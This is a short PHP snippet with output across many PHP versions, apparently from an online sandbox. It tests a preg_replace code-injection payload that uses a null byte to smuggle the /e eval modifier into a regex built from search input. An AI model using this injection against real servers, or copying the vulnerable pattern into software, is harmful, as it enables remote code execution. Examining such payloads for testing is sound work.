<?php
//$search = htmlentities($_GET['search']);
$search=htmlentities("phpinfo('apple');/e\x00");
echo $search;
if (strpos($search, 'apple') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple");
}elseif (strpos($search, 'orange') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange");
}elseif (strpos($search, 'banana') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana");
}elseif (strpos($search, 'kiwi') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi");
}else echo "Please search for apple, orange, banana, or kiwi.";
- Output for 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
- phpinfo('apple');/e
Warning: preg_replace(): NUL is not a valid modifier in /in/NWKKk on line 6
- Output for 8.1.0 - 8.1.28
- phpinfo('apple');/e
Warning: preg_replace(): Null byte in regex in /in/NWKKk on line 6
- Output for 5.4.7 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
- phpinfo('apple');/e
Warning: preg_replace(): Null byte in regex in /in/NWKKk on line 6
- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.6
- phpinfo('apple');/e apple
preferences:
232.01 ms | 403 KiB | 352 Q